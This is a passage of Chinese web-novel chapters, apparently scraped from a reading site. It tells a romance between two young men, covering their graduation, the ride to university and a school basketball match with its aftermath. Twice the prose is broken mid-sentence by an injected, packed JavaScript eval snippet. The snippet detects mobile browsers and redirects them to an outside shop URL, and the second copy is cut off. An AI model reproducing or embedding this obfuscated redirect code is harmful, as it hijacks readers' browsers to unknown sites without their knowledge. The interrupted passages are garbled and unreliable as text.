“好吧,”阮牧年洗完手,拣了菜叶开始清洗,“那毕业旅行的事情阿姨怎么说?能来吗?” “大概能,”桑群想了想,“其实前两天有人来面试,还不错,我妈也挺满意的。这些年工厂管理层欠缺,多吸收新鲜血液是好事,她只是有点放心不下。” “那就更应该出门散心了,”阮牧年点头,“这可是你期待很久的旅行啊。” 桑群笑了笑,倚在灶台边看他忙碌,忽然问了句:“你是不是早就准备了旅行计划,在我十八岁那年?” 阮牧年淘米的动作顿了顿:“你、你怎么……” “后来仔细想想,你那段时间确实不太对劲,”桑群慢慢地回忆,“为什么一定要参加那场物理竞赛呢?为什么要那么努力地拿下一等奖?为什么放寒假的时候执意要回你舅妈家住?5千块买一辆自行车绰绰有余,甚至你妈妈给你的生活费就能做到这一点,可你好像还是准备了比5千更多的钱款,像是本来有另一个计划一样。” “你……”阮牧年回过身,眼尾微微泛红,“你怎么这么聪明啊,桑桑。” 桑群轻哼:“我这是了解你。” “对,我给你准备的成人礼就是一场旅行,”阮牧年望着他认真地说,“那场你没能去成的旅行,我想弥补回来。可阿姨忽然出事,你也生病了,寒假就那么短,这个计划只能搁置。” 桑群轻叹一声:“那件事……我已经忘记了啊。” “很多事情我也会忘记,可你总是替我记得,”阮牧年在围裙上擦了擦手,走过来牵住他,“我也想做你的桑群。” 桑群轻笑:“桑群的桑群?套娃呢。” “那就桑群的桑牧年吧,你可以姓阮,那我就姓桑。” 桑群倾身在他唇上吻了吻:“好。出发前,我们再去扫一次墓吧,告诉桑远我们要出门旅行了。” “啊?”阮牧年担忧地说,“你别把你爸气诈尸了啊。” “谁叫他让当年的计划泡汤的,”桑群理直气壮,“我还是讨厌他,我就要报复。” “你给叔叔带瓶酒吧,好歹意思意思。” “再说了,看心情。” “……桑群。” “啧,知道了。” 吃过晚饭,他们出门散步。 晚风微凉,路过二中校园门口,还没放假的高一高二年级楼层灯火通明,偶尔有人进出校门,高中生活仿佛就在昨日,他们依旧是蓝白校服中的一员,似乎正要去上晚自习。 门口保安亭的大爷正在刷视频,瞥见他们喊了一声:“晚自习都开始了,你们哪个班的?” 桑群:“高三三班。” 保安大爷:“?” 阮牧年笑了笑:“叔叔,我们毕业啦,只是路过看一眼。” “哦,高三的啊,我就说怎么连校服都不穿,”保安大爷笑呵呵道,“来看望老师吗?你们这届学生真性情啊,刚放假没几周就回来啦,高三老师都放假了呢。” “也不算,我们是住在附近,出门散步,”阮牧年开了话题,就跟大爷聊得停不下来,“话说您眼神真不错,这么暗也能认出我俩是学生呀?” “可不是,我视力可好了。”大爷自豪大笑。 桑群轻嗤了一声。 “诶,你,对、就你,”这一声立刻引起了大爷的注意,他拿着手机指着黑衣少年,“别以为我不认识你啊,你这身影我熟悉得很!每次从操场旁边那个墙翻进翻出的就是你小子,对不对?要不是我年纪不小腿脚没你们这些年轻人利索,早就把你揪主任面前挨批了!” 桑群一怔,下意识反驳:“不是……” “咦,你都是翻墙出的学校吗?”阮牧年饶有兴趣地问,“哪堵墙?怎么翻的呀?” “你可别学坏啊,同学,”大爷捧起保温杯喝了一口,“我想起来了,我也见过你,就教学楼底下那个公告栏,每次月考贴的优秀学生都有你,是不是?” “叔叔,您记性真好呀,”阮牧年大吃一惊,随即捧道,“说来惭愧,我倒是没记住您的样子。您经常值夜班吗?好辛苦,下次路过的时候我们给您带些点心吧,也陪您聊聊天。” “哎呦,你这孩子,”大爷越听越高兴,“这算什么辛苦嘛,用你们文化人的话说叫什么?在其位,谋其职嘛!你也是个好孩子,以后要记得常回来看看啊。” 一大一小聊得欢快,桑群早已习惯阮牧年走在路上能跟万事万物聊天,插着兜站在旁边,听他们一言一语的闲聊。 又一道惊讶的女声响起:“牧年?你怎么在这里?” 两人看去,班主任拿着教案正要出校门,碰见他们不由发问。 “张老师,您怎么还在学校啊?”阮牧年露出灿烂的笑容,如鱼得水地接住任何话,“我们散步路过呢,还以为年段的老师们都放假了。” 桑群颔首:“老师好。” “哎呀,有个同事找我代班,我这两天还得往学校跑,”张老师看了看他俩,“几天不见,居然有种阔别已久的感觉,哈哈。你们是住在附近吗?” “对呀,说不定九月之前,我们还能经常碰面呢。” “那真不错啊。话说,前两天我听说班级聚会上出了大新闻,你好像总是能成为热闹焦点呢,牧年。” “啊,”阮牧年不好意思地挠了挠头,“我也不想的嘛。” 桑群一无所知:“……什么大新闻。” 阮牧年怼了他一下:“桑群。” “干嘛。”桑群莫名其妙。 张老师捂着嘴笑了笑:“年轻真好啊。哎,我还得回家做饭,希望下次还能偶遇到,祝你们幸福啊。” 阮牧年微微脸红:“嗯,老师再见。” “再见,”桑群目送完班主任,反射弧终于跑回来,“等等,她为什么忽然祝我们幸福?” “你个笨蛋!”阮牧年敲他脑袋,“很明显大新闻就是在说我们俩出柜的事情啊啊啊。” “啊。”桑群呆住,后知后觉到不好意思。 确实很难想到,毕竟对于桑群而言,宣布阮牧年是自己男朋友跟给别人介绍家人一样,是很平常的事情。 这样说来,他们似乎一直都很幸运。生活虽然有苦痛,却也有爱与温暖,失去的一切已经成为过往,他们所拥有的,会相伴着走向明天。 走在熟悉的街巷间,明月高悬,夜风轻拂,少年们的衣角被轻轻吹起。 “啊,”走回家的路上,阮牧年轻叹一声,“我们真的毕业了。” “嗯。”桑群看向他。 “接下来,会是一个很长、很长的暑假呀。”感慨未完,阮牧年又笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356372|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,回望他。 桑群也笑了:“当然。” 少年的故事会走向尾声,再长的暑假也是。 濒临开学,A大为本市学生提供福利,可以乘坐校直供大巴前往学校。 “桑群,快点!”阮牧年趴在车窗上喊他。 桑群将行李堆放好,挤出人群上车:“来了。” 刚才放行李蹭到轮子了,刚坐好桑群就开始掏湿巾擦手。 “安全带系一下,”阮牧年按着他的肚子,帮人扣好,“据说中间有一段山路。” “嗯,”终于擦干净,桑群从包里掏出防晒衣,“穿上,靠窗太阳大。” “可以拉窗帘呀。” “你会拉吗?”桑群看他。 “当然不会,”阮牧年笑了笑,“我要看风景。” 桑群哼了一声,他就知道。 “你是不是想睡觉?”阮牧年摸了摸他的脸,“看起来挺累的。躺我身上吧,我不乱动。” 桑群掀起眼皮:“……都是因为谁。” “唔,是我的错,”阮牧年眨了眨眼,偷偷用手指渡了一个吻给他,“那你先休息,到学校后我带你去吃好吃的,好好补偿你一下。” “……不一定有你做的好吃。” “你这样夸我,我会骄傲的呀。” “你也没谦虚到哪里去,已经被惯坏了。”桑群靠到他肩上说。 “都是谁惯的呀?” 桑群不说话了,沉默了几秒:“……我睡了。” 阮牧年轻笑,温柔地摸了摸肩上桑群柔软的发丝,帮他把防晒衣帽沿拉下,遮住窗外的阳光。 大巴发车,从市区一路开往郊外,高楼大厦逐渐消失,群山伏起。 车座时不时颠簸,阮牧年护着桑群的脑袋,窗外的阳光在前座椅背上不断变化地掠过。 阮牧年靠坐在这里,忽然想起了小时候坐公交车时的场景。 他对公交车有着不同寻常的情感,因为第一次踏上这种庞大笨重的交通工具时,他才不过两三岁。 早慧的孩子偷偷查询了市里的公交路线,计算车票和步行路程,为自己策划了一场出逃行动。 对于他来说,那时的家充满着苦闷的气氛,仿佛永远不会放晴的阴霾天,父母的争吵声如雷霆闪电般慑人可怕。 小阮牧年摸走两枚硬币,趁着家里没人,偷跑到附近的公交车起始站。 宽大的停车场仿佛有一整个世界那么大,他的小短腿刚跑进门口就累得脚板发麻,抬头望去,公交车密密麻麻排成好几排,根本找不到自己想要乘坐的那一辆。 他着急地乱转,差点摔倒在黄土地上。终于有人注意到这只小豆丁,将他捞起来问:“小朋友,你跟爸爸妈妈走丢了吗?” 小阮牧年生怕被人送回那个可怕的家里,连忙摇头,口齿不清地解释:“没有……我、我要坐公交。” “你这么小,怎么一个人跑出来坐车?不要怕,叔叔不是坏人,我帮你联系爸爸妈妈吧。” “我、我要自己坐车,独立……”小阮牧年绞尽脑汁该怎么实现自己的计划,紧急之下竟无师自通地学会了撒谎,“坐车去、去找妈妈……” “哦,原来是要去找家长的呀。你要坐哪辆车?” 他松了口气,总算能顺利上车了。车子还要好几分钟才会发车,车上没几个人,他仰着小脑袋查阅车厢内的路线图。 虽然认得字不多,但他已经背下了可以到达庙会的站点名称形状,检查无误,才放心地找了个座位坐下。 一开始也不顺利,因为座椅离他的屁股太远了,他扒着墙拼命蹬腿,看得旁边几位大人直发笑,一个好心人走过来,把他抱到座位上。 小阮牧年坐上了位置,小声地跟对方道谢。 大家笑着打趣他,家里人心真大,居然放任这么小的娃娃自己坐公交车。 小阮牧年只是腼腆地笑了笑,没有告诉他们,其实自己是偷偷溜出来的。 对于小孩子来说,窗外的风景需要伸着胳膊抓着窗框,拉长脖子才能窥见一二。 车外只是葱绿的树,看不清的路灯杆,以及一片很蓝很蓝、很远很远的天空。 可他第一次见到这样的景色,情不自禁地哇出声来。 冲破牢笼之后,他才发现原来自己所处的世界这么这么大。 如果自己是小鸟就好了,他想飞得越来越远、越来越远,再也不要回到阴沉沉的家里。 那时候,小阮牧年想,有没有一缕风能将他卷出窗外,捎上高高的云端呢? 而现在,阮牧年坐在与多年前相似的位置,窗帘在风中摇晃,车外的景色无需仰头便能一览无余,阳光正好,那片蔚蓝辽远的天空一如当年模样。 但他已经不是那只茫然又痛苦的孤独小鸟了。他身上穿着桑母为他俩买的新衣服,旁边挂的书包是妈妈送的开学礼物,肩上靠着最爱最爱他、也是他最爱最爱的桑群,这辆微微晃动的大巴即将载着他驶向全新的人生篇章。 他抬起手,山风从指间疾速掠过。 幼时的幻想重现脑海,阮牧年躺靠在温暖的阳光中,唇边抿开清浅的笑意。 现在,阮牧年想,他希望没有那阵风。 因为大地上有他爱的一切,也就不着急上天堂。 ——全文完—— 95. 01 今天太阳特别大,躺在棚子里也感觉眼皮正被灼烤。 这本该是个美好的周末。 ……如果没有这个破篮球赛的话。 二中的篮球赛一拖再拖,到最后直接改成跟其他学校的友谊赛,包了周末的体育场供同学们挥洒汗水,美其名曰学习玩乐两不误。 要不是阮牧年,他本该在家里的被窝安度假期。 脸上盖着宣传册,桑群昏昏欲睡之际,被人猛地推醒。 阮牧年的脸骤然凑近,欠揍的笑容比太阳还耀眼:“别睡了别睡了,要轮我们班上场啦!” 桑群一册子拍他脸上,还没睡醒的嗓音透着浓重的不爽:“我不是候补吗。” 阮牧年扯下宣传册:“你不来看我比赛吗?” “不感兴趣。”说罢,桑群就要躺下继续睡。 腰还没碰到椅子,胳膊就被人拽走。 “走啦,去晒太阳。” ……要晒死了。 桑群生无可恋地站在球场边。 班长路过,递了顶广告纸叠的帽子给他:“六爷,小心中暑啊。” “……谢谢。” 他倒希望如此呢。 球场上的局势激烈起来,对面开始猛攻,专堵阮牧年一人,剩下的队员们配合不足,比分很快就被追上。 中场休息,体委招呼他过去开会。 他这候补的参与度是不是有点过高了? 刚过来,就被某位队员拍了肩:“我双腿局部代谢乳酸过多,血液循环阻塞肌肉痉挛,就先下去休息了,后面靠你了六爷。” 桑群:“?” 阮牧年自然揽过他的肩:“我们简要讨论一下待会儿的策略……” 桑群回头看了看,小声问:“那人不要紧么?” “哦,”体委见怪不怪,“他就是腿抽筋而已。” 桑群:“……” 为了休息,这戏也太多了吧。 体委又问:“六爷擅长哪个位置?” 桑群回神:“随便。” “那我们就不调整了,六爷你补上小林的位置。我们刚才低估了对面打速攻的能力,应对策略要调整一下……” 桑群听了两个字就听不下去了。 脖子很痒。 他忍不住侧目,骚扰人的罪魁祸首却一脸认真地听队长发言,还冲他笑了笑:“六爷也同意这个方案吧?” 桑群:“……哦。” 等下,什么方案。 桑群眨了眨眼,就听阮牧年说:“那就说好了,桑群你负责佯攻,让他们以为我们更替主力,我配合你夹击他们主力,体委你记得控场别让他们其他人过来捣乱……” “不是,我打主力?” 他不是个替补吗? 队员们殷切的目光一齐投向他:“我们相信你,六爷。” 阮牧年的手指钻进衣领,在他锁骨上方挠了挠,也歪着脑袋跟风:“我也相信你哦~” 桑群黑着脸,等其他人走远,一把扯掉某人不安分的手:“你给我收着点。” “我很收敛了啊,”阮牧年居然还委屈,“我都没碰你腰。” 桑群默了默,移开话题:“别把主力给我,我配合你。” 阮牧年说:“可你打得比我好。” 桑群反问:“你跟得上我吗?” “不试试怎么知道?”阮牧年笑起来。 啧,行。 就当陪练了。 下半场开始,对面主力正准备跟阮牧年继续耗,一道从旁边窜出来的残影把两人之间的球卷走了。 对面主力:“?” 对方很快判断出他们更换主力,开始去堵桑群,然而这个刚上场的替补简直恐怖如斯,隔着三分线好几步就敢投篮,居然还中了! 于是他们紧急调整战略,打算学上一场以快破局,不让桑群碰到球。 结果光顾着防桑群,对方主力带球奋力一跃,又一道人影窜出,啪地盖帽夺球—— 等对方队员反应过来,三班两个相互配合的身影一前一后快速奔向篮筐,完美拿分! “哦吼!太棒了牧年六爷——!” 大家兴奋地相互击掌,桑群抹了把有些汗湿的额发,被人从正面抱了个满怀。 “怎么样,”阮牧年热烘烘的身体紧紧贴着他,“我有进步吗?” “哼,”桑群抬手放在他背上,“还能看。” 经此一役,三班成功进入复赛,下一场的对手还是三中的,队长脸上贴着一块创口贴,看着很不好惹。 体委召集大家:“对面那个叫步屿的家伙不好糊弄,他打球都是狠路子,我们耍招他可能更野,只能随机应变。” 阮牧年:“让桑群当主力。” 桑群秒拒:“不。” “呃,要不我们先按照上一场的安排试一试对面,”体委出了个折中的主意,“我们摸一下他们的路数,待会儿再讨论调整。” “行。” “好吧。” 事实证明这位创口贴哥们不是一般的狠,顶着被警告的风险也要夺球,三班痛失先势。 结果大家调整完战略上去,这哥们又换了个路数,险中带稳,还是压着他们打。 上半场结束,三班落后十几分,每个人的脸色都很灰败。 “啧。” 桑群单手撑在腰间,那里的衣服布料早已湿透,浑身大汗,还打得跟屎一样,他喘着气冷笑了一声。 “刚才那个球没接住,我的,”瞟一眼他的脸色,阮牧年态度诚恳地开始检讨,“如果我换个更好的路线……” “不用如果,”桑群冷声打断他,“你打得不是很好吗?从这头跑到那头一次球都摸不到,天才的操作啊。” 阮牧年:“……” 体委企图打圆场:“六爷你消消气,这也不能全怪牧年……” “当然了,”桑群随即看向他,话锋一转,“没有传球往脚边砸的优秀队友,他确实不会犯这种低级错误。” 当面中枪的体委:“……” 有脾气不好的队员开口:“你就没有一点错吗?” “有。我三分被扣了、传球被截了、站篮筐下周围全是对面的,”桑群目光发冷,言辞犀利,“谁没拦住对面?谁没跟着接应?谁在后方浑水摸鱼挤不进前线就干脆摆烂不帮忙了?” 众人被他说得羞愧不已。 阮牧年伸手拍了拍冷脸发脾气的桑群,在他紧绷的肩膀上轻轻捏了一下,开口缓和气氛:“也别太沮丧了,既然总结出不足,那我们就想办法改正……” “问题不是失误,是连自己的体系都没有还要去打人家路数成熟的队伍,”桑群一字一句毫不留情,“靠琢磨对面风格制定仅当场有效的所谓我方战略,这破球不如不打,呵。” 说罢,他转身就走。 “诶,桑群!” 阮牧年皱了皱眉,飞快叮嘱体委几句:“我去跟他聊聊。待会儿要是没回来,让其他替补先上。” “诶,牧年!” 体委的尔康手留不住飞出去的得力队员。 那边,阮牧年追上桑群的背影,跟着他挤进厕所隔间里。 “你进来干什么。”桑群拎着干衣服,语气依旧不善。 “是不是流汗不舒服?我给你擦擦吧。”阮牧年手里变出一条汗巾。 桑群看了眼他,低哼一声不再说话。 意思是请便。阮牧年会意,帮他脱掉湿衣服,汗巾搭上肩背。 “放松,肌肉太僵硬了,”阮牧年边擦边轻声哄慰,“既然已经走掉,就别想那些不愉快了,好不好?” 桑群背对着他:“……我是不是挺糟糕的。” 阮牧年:“哪里有?” “脾气差,烦起来就想骂人,”桑群闭上眼,低声道,“所以我一开始就不想当主力,拖着一群猪队友,不如自己当那头猪。” 阮牧年听笑了:“哪儿有你这么酷的猪呀。” “哼。” “不气不气啦,”阮牧年按着他的肩膀把人转过来,“趁现在放松放松吧。唔,汗好多,像美味汁水。” 桑群默默捂住自己的腹肌:“……你想干什么。” 昨晚啃腰,今天打算啃肚子吗? “我没有,你怎么可以这样看待我,”阮牧年大冤特冤,手指却在擦拭途中若有似无地蹭过微凉的肌肤,“我只是在帮你擦汗而已。” “你最好是。”桑群警告他。 套好干衣服,阮牧年从身后抱住他,在他肩颈上蹭着。 “热,”桑群挣了一下,“别贴着。” “休息时间就这么点,让我抱一抱嘛,”阮牧年根本不撒手,“在别人面前我都不敢碰你。” 不敢吗?没少摸吧,桑群由他去了:“时间没多少了,还不回去么?现在能补上的队员只有一个。” “那你呢?你怎么也不回?” “……我刚骂了他们。” “拉不下面子吗,可你也骂了我啊,现在也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我没有乱来啊,”阮牧年不退反进,“其实没什么好苦恼的,不是吗?你只是还不习惯把更多的自我展现出来而已,这件事没办法即刻做到,需要很多时间的。所以不要烦恼了,来跟我接吻吧。” “神经病,这是厕……唔唔。” 双唇被堵住,阮牧年黏着他不放,到底谁才是汤圆? 对方的手移到后脑,将他压近,胸口忽地一疼,桑群猛然将身上这块口香糖扯下去。 “把我的话当耳旁风吗,”桑群瞪着他,“说了不要乱摸。” “不摸不摸,我就这样抱你嘛,”阮牧年不慎被他按疼筋脉,咬牙甩了甩胳膊才重新圈过来,双手搭在桑群后腰,讨好地扯了扯他的衣摆,“可以吗?” 桑群抬指扣住他的下颌,指腹用力,按开两颊内的齿关,微仰下巴告诉他:“我也说了,不准用牙乱咬。” “这还怎么亲啊,”阮牧年小声不满,又说,“那你亲我好不好?我不动,你快亲,待会儿广播响了我们又得回去。” 怎么这么如饥似渴,不知道的还以为他戒了十年色——实际上也就今早因为被拉来参赛,桑群发起床气,到现在还没贴贴过而已。 或许有空得带年糕精去做个检查了,看看是不是有什么皮肤饥渴症。 “你老实点,”桑群凑近,蹭过他的鼻尖,“张嘴。” 刚含上唇瓣,说着不动的家伙就兴奋地缠过来,毫无自觉。 好在桑群早有预料,托着后脑的手下移,在他后颈捏了一把。 阮牧年被揪得后撤了些,刚想控诉什么,桑群不给他机会,卡他下巴上的手指用力,唇舌随即探进去。 “唔唔……” 痛失先机的年糕不过一滩面团,在桑群的攻势下溃不成兵。终于扳回面子,桑群心情愉悦,慢慢退出来吻了吻他的唇角。 “给你留了空隙,”桑群捏了捏发红的脸蛋,“干嘛不换气?” 阮牧年微张唇瓣,绯红漫至眼尾:“……我忘了。” 小呆瓜,桑群拍了拍他的脸:“回神了。” “唔,”阮牧年吐了吐舌头,眼神从愣怔转变为兴奋,“好舒服,我还要。” 要什么要,桑群赶紧按住他的脑袋:“该走了。” 阮牧年不死心,抓着他一个劲贴贴:“再来嘛再来嘛,求求你了……” 桑群一把打开隔间门,把人踢出去:“赶紧的。” 阮牧年不情不愿地往外走,一步三回头。 桑群移开目光,拎起旁边的湿衣服。 舌间还残存方才亲密的微麻,一开始心情确实不太好,吃完这顿堪称妙手回春。 啧。 色欲熏心啊。 96. 02 回到赛场上,下半场已经开始了。显然,三班人员大换血使得队伍风格发生了极大的变化,对面一开始还有些不适应,我方侥幸拿了两个球。 当然,到后面对方依然占据上风。 阮牧年在场外对体委打了个手势,偏头问桑群:“接下来你有什么计划?” 桑群无所谓:“我不当主力。” “好吧,”阮牧年点头,“那你给我当猪。” 刚靠近两人的体委差点原地摔了个狗啃泥。 “呃,你们……” 阮牧年勾了勾手指,右眼眨了一下:“我有一个新想法……” 桑群插着兜,用余光觑着旁边人眉飞色舞发表意见。 脸真白嫩,手感也很好,刚才红得要滴血,现在倒是很正常,不愧是表情管理大师。 大师回头看了他一眼,问:“可以吗?” 可以什么,桑群回神:“嗯?” “走神了吗,”阮牧年笑了笑,在他肩上捏了一把,“算了没事,时间紧迫,你临场发挥就好。” 桑群一头雾水被他勾着肩膀往球场走去。 体委在旁边感慨:“牧年跟六爷关系真亲……好啊。” 有队员问:“怎么说?” “刚才牧年骂六爷是猪,居然安全地活到现在,”体委摇头,摆了摆手指,“以后我们要是不慎惹到了六爷,去找牧年求情准没错。” 队友若有所思点头。 球场上,桑群好不容易才挣脱某人的臂弯:“临场发挥什么?” 阮牧年但笑不语:“这就到考验我们默契的时候咯。” 哪儿来的谜语人,不容桑群深究,裁判吹响了哨子。 比赛重新开始,好像没什么特别的,桑群追着球,在阮牧年手里就替他拦人,不在就帮忙抢。 其实对面也没那么厉害,主要是那个创口贴哥们打得凶,再加上其他人都很听他的话,战术高度统一,劣势方很难寻找突破口。 以他们班现在的比分,能追平对方都是奇迹了。 桑群对输赢无所谓,就怕某人特别在意。 目光看过去,某人抱着球准备起跳投篮了。 等等,这个角度…… 桑群微愣,步子不由动起来。 看阮牧年的表情,加上他几乎百投百进的战绩,敌方队员纷纷移步篮筐准备等球落下截获。 谁知阮牧年这看似标准的一球,却砸到了篮筐边缘,向一旁弹开。 敌方移动去接,却见那球未落又被人接住,重新投向篮筐—— 这次中了,然而他们刚刚撤离,落下去的球又被三班的人截走。 阮牧年远远冲他抛了个wink。 桑群眯了眯眼,没忍住嗤笑一声。 这家伙。 原来他说的默契是这个。 当年阮牧年学篮球,是桑群手把手教会他的。 可惜年年是个笨蛋,一个动作要纠正好久,桑群弹了他不知道多少次脑瓜。 最后桑教练没招了,把球丢给他,让他定点练习投篮,而自己在旁边站着,把他没投进的球捡起来丢回去。 看久了,早就熟悉阮牧年什么角度的球投不进,以及会从哪边弹出来。 没想到阮牧年居然利用这一点,不仅追回了分数,还把对面耍得团团转。 球场上恣意奔跑的少年,跟小时候投球砸中自己脑袋的笨蛋截然不同。 桑群迈开步子,追上去。 时过境迁,却也有不变的东西。 篮球再次被抛起,桑群精确定位它弹出的落点,接住,再投。 队员们的欢呼声中,阮牧年偏过头,眉梢高高扬起。 他们相视而笑。 年纪、身份、性格,唯一不变的只有彼此。 几次三番,敌方也摸清他们的套路,在阮牧年又一次抛球的时候四散开来,却没想到这回球稳稳地进了篮筐。 宛若遛狗的下半场结束,三班后期猛猛追分,只可惜前面落下的太多,最后以两分之差落败。 输了也好,可以早点下班收工。 桑群揪动领口扇了扇风,又流汗了,得再去换身衣服……不,直接回家洗个澡,然后…… 球员们还没完全离开,只见对面的那哥们走过来。 阮牧年看他一直盯着自己,友好地打了声招呼:“嗨,恭喜啊,这下你们可以一雪前耻了。” 去年对方败在他们手下,今年这般也算是风水轮流转。 “不好意思,”这哥们看着凶狠,说话倒是和气,“最近心情不好,打得有点狠,上半场那几个动作要是被黄牌了,说不定就是你们赢。” 阮牧年笑了笑,忽然回头看了桑群一眼:“包里还有一套衣服,要不你先去换?我过会儿回班级阵营找你。” 桑群奇怪:“你要去干什么?” 阮牧年指了指旁边的步屿:“跟他叙叙旧。他们三中的座位好像在另一头,我去去就回。” 听着有些古怪,但身上的汗更难受,桑群没多想便应下了,转身去找衣服。 步屿站在旁边一块望着:“为什么要瞒着他?” “嘘,”阮牧年抬起胳膊肘搭在他肩上,“我们走远点说。” 沿着操场边缘走了一段,两人并没有回什么三中观众席,而是从体育馆旁边的小门溜了出去。 “呼,”步屿仰头长出一口气,“还是外面舒服,里面快闷死了。” 阮牧年问:“你的滑板呢?” “在裴泾那儿,他不让我随便停车,”步屿指了指旁边的街道,“我要去买午饭吃,一起?” “走吧,”阮牧年点头,“你说你最近心情不好,发生什么事了?” 步屿沉默了一下:“……我被人缠住了,那里的人。” 阮牧年正色:“那里……” “我问过了,那里以前没有姓桑的人,”步屿压低声音说,“也许对你们帮助不大,但这是好事。” 阮牧年若有所思:“唔……我知道了,谢谢。” “所以,你为什么要自己调查这种事?”步屿有些不解,“你也找过宁舟了吧?他的嘴撬不开,你才又来找我。” “桑群不是很乐意挖掘什么真相,我尊重他的想法,”阮牧年轻笑,“其实我也对追根究底没兴趣,但我得确认没有潜在的危险会影响到我们。” “那你大可放心,”步屿点点头,“黄哥离职了,谁也不知道他是死了还是调岗。总之那边现在有点乱,你们这种边缘的存在可能慢慢就会被遗忘,以后便毫无瓜葛了。” “这样啊,”阮牧年垂下眼,“我明白了。你如果遇上什么麻烦,需要帮忙可以来找我们。” “暂时还能应付,”步屿说着,脚步慢下来,“诶,我中午想吃那家的小炒。” 阮牧年看过去,没吃过的店面:“好吃吗?” “不错的,你也来试试?”步屿走过去看了看菜单,“老板,我要这个套餐,两份打包,其中一份不加辣。” “好嘞,”老板看向旁边的阮牧年,“同学你们是一起的吗?” “我……要这个,还有这个,”阮牧年指了指菜单,“两种套餐,也是打包。有清汤吗?” “有的有的,待会儿给你装一碗哈。” 步屿侧眼瞥过来:“炒饭为什么要配汤,味道都淡了。” “没汤会噎着啊,边打嗝边吃饭?”阮牧年看回去,“我们家食物汤水比较多,你们那边不是这样的吗?” “不知道,我以为大家都是这样吃的,”步屿想了想,“我爸妈会照顾我的饮食习惯,可能我以前是北方来的吧。” 这话听着有些怪,阮牧年没来得及问,旁边人的电话响了起来。 “喂,”步屿接通,“我在买饭。” 那边不知道说了什么,步屿应着:“对啊没加辣,我待会儿提回去……不是,你悠着点我那轮子是前不久刚换的,别给我骑坏了! “……我求你了祖宗,慢点来可以吗?饭还没炒好,我在旁边十字路口拐角进来的饭店,嗯对,你慢一点啊。” 见他挂了电话,阮牧年问:“谁要来?” “裴泾,那家伙跟没断奶似的,”步屿抓了抓头发,“他说话要是太怪,你别往心里去,他脑子有病。” 这是在骂人还是实话,阮牧年沉思片刻,决定随机应变。 传说中的裴泾踩着滑板过来的时候,老板正好炒完,阮牧年拎起包装袋,扭头就跟对方打了个照面。 裴泾双手插兜,看见他怔了怔:“你不是一个人?” “手拿出来,很酷吗?”步屿上前给他紧急制停,“来得正好,一人一袋拎回去。” 裴泾还在盯旁边的阮牧年:“眼熟……之前买白糕的时候?” “嗨,是我,”阮牧年笑了笑,“上次还没好好打声招呼呢,你就是裴泾吧?经常听步屿提起你呢。” 裴泾看了看步屿,又看了看阮牧年:“他骂我什么?” “……你给我闭嘴,人家那是客套话。”步屿给了他一下,顺便冲阮牧年挤眉。 阮牧年了然,原来是这种有病。 “行了赶紧回去吃饭吧,”步屿推着裴泾的背,回头问,“牧年你也一块?” “嗯,走吧。” 中间隔着步屿,裴泾的目光依然落在阮牧年身上,很难忽视:“你们刚才是不是一起打球?我看了,你全程被人家耍得团团转,很失败啊步屿。” “但我还是赢了。”步屿挽尊。 “侥幸。我看的很清楚,你上半场早就该被警告,裁判今天可能忘戴眼镜了。” 步屿无语:“你到底站哪边的?” 裴泾没听懂:“我站在旁边啊。” 阮牧年听着笑出声,自然搭了搭步屿的肩:“你朋友挺有意思的啊。” 谁知裴泾的目光忽然变得幽深起来。 阮牧年:“嗯?” 步屿捂额,连忙也搭了下右边人的肩膀:“别这样盯着别人……他觉得好朋友得两两配对呢,直接把我哥们降级成普通朋友了。” “难道不是吗?”裴泾反问,“只有两个人之间才能叫好朋友吧。绘本里三个人以上的都只是朋友,没有‘好’字。” 阮牧年发问:“你说的是好朋友,还是男朋友?” 旁边两人双双沉默下来。 “呃难道不是吗?”阮牧年眨眨眼,一句调侃怎么把他们禁言了。 “男朋友……不是对男性情侣的称呼吗?”裴泾看起来颇为不解,“可以跟好朋友相提并论吗?还是说这里只是对男性朋友的简称?” 步屿:“你能不能别较真……” 阮牧年:“呃一般语境下确实是对情侣的称呼啦,我只是开个玩笑……” 裴泾疑惑:“啊?” “你这脑袋不适合思考人情世故,”步屿踢了他一脚,“走你的路,闭嘴。” 阮牧年对此深表赞同。 相较之下,嘴上不近人情经常毒舌的桑群竟也变得可爱起来。 怀着甜滋滋的心情回到男朋友身边,谁知迎头就是一句:“离我远点。” “怎么了啊,”阮牧年百思不得其解,“我给你买午饭回来了,一起吃啊。” “你自己吃吧,”桑群一脸不虞,“下午还有比赛吗,没有我走了。” 这是发生什么事了? 环顾四周,体委那边还坐着几个人,他强行把餐盒塞给桑群,让他赶紧趁热吃点,然后走过去打听。 “你们聊什么呢?”阮牧年探头。 “哦,牧年你回来了,”体委看了看他,又紧张地瞥了眼远处正不情不愿拆饭盒的桑群,“六爷他……气消了吗?” “你们惹到他了?”阮牧年问。 “哎,我们也是……一时没收住,”一个队员捂着嘴说,“我们刚聊八卦呢,太震撼太兴奋了,不小心把六爷吵醒,他就一直低气压到现在。” 难怪,原来是闹起床气,阮牧年点头又问:“什么八卦?” “牧年你头低一点,我们小声说,”大家招呼他凑近,“你不知道,前不 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“噎不死,”桑群一筷子下去,夹了一大把食物,“要气死了。” “我错了,你别生气,”阮牧年小声安慰他,从下往上看的眼睛又圆又无辜,“我晚上给你做好吃的,好不好?你不要讨厌我嘛,这种八卦都是一阵兴一阵衰的,等过段时间他们就忘光了,不会真的定位到谁的。” 桑群冷哼一声,没回他。 阮牧年欲哭无泪,这要怎么哄啊。 下午回到家,向来邋遢的懒鬼勤奋地去洗了澡,搓了湿衣服,把浴室和阳台打扫得干干净净,傍晚又精心搭配了一桌菜,热气腾腾地端出来。 桑群看了他一眼,冷漠地开始吃饭。 阮牧年连忙给他夹菜夹肉,一刻不停,无微不至。 